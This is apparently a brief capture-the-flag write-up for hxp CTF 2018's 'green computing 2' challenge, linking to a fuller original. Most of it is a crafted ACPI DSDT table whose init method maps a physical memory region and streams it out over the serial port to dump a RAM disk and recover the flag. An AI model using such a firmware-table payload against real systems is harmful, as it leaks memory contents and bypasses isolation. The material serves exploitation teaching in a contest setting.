Rating: 5.0

[https://devcraft.io/2018/12/10/green-computing-hxp-ctf-2018.html#green-computing-2](https://devcraft.io/2018/12/10/green-computing-hxp-ctf-2018.html#green-computing-2)

* create a method to write to the serial port
* dump the ram disk containing the init.gz
* extract flag

```haskell
DefinitionBlock ("", "DSDT", 1, "BOCHS ", "BXPCDSDT", 0x00000002)
{
Scope (\)
{
OperationRegion (DBG, SystemIO, 0x3f8, One)
Field (DBG, ByteAcc, NoLock, Preserve)
{
DBGB, 8
}

Method (DBUG, 2, NotSerialized)
{
Local1 = Arg1
Local2 = Zero
While ((Local2 < Local1))
{
DBGB = DerefOf (Arg0 [Local2])
Local2++
}
}

Method (_INI, 0, NotSerialized) {
OperationRegion (PWN1, SystemMemory, 0x538df000, 0x1000)
Field (PWN1, AnyAcc, NoLock, Preserve)
{
MEM1, 0x8000,
}

DBUG(MEM1, 0x1000)
}
}
}
```

Original writeup (https://devcraft.io/2018/12/10/green-computing-hxp-ctf-2018.html#green-computing-2).